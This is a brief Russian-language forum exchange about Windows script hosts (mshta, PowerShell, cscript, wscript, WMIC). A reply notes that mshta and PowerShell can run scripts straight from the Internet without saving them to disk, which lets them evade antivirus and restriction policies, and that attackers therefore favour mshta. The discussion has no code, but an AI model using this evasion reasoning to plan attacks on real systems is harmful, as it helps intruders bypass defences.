CScript, WScript, MSHTA, WMIC, PS, cmd... Сотни их. Тут не выпиливать надо, а переделывать почти полностью окружение ОС.
vesper-bot
но из этого набора только mshta и powershell умеют выполнять скрипты напрямую из Интернета, а также выполнять eval(). Всё остальное (ЕМНИП и cscript/wscript) вначале нуждаются в сохранении скрипта в файл, а там его может поймать какой-нибудь каспер, ну или SRP на худой конец. При этом mshta это де-факто браузер, но не обновлявшийся чертову прорву лет, остальное хотя бы консольные приложения. Поэтому и любят его атакеры.